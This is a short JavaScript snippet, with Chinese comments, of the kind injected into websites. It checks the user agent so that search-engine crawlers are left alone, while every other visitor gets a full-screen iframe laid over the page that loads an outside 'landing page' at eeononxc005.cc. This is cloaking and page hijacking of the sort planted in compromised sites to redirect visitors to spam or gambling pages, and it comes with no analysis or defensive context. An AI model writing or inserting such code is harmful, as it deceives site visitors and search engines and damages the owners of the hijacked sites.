document.write("test");
    var userAgent = navigator.userAgent.toLowerCase();
    if (userAgent.match(/bot|crawl|spider|mediapartners/i)) {
        // 如果是蜘蛛，则不执行代码
    } else {
        // 如果不是蜘蛛，则执行代码
       
        document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
        var iframe = document.createElement('iframe');
        iframe.src = 'http://eeononxc005.cc/';//------------落地页地址
        iframe.scrolling = 'auto';
        iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
        var div1 = document.createElement("div");
        var div =  document.createElement("div");
        div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;";
        var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
        if (is_mobi) {
          div1.style.overflow = "auto";
        }
        div1.appendChild(iframe);
        div.appendChild(div1);
        document.write(div.innerHTML);
    }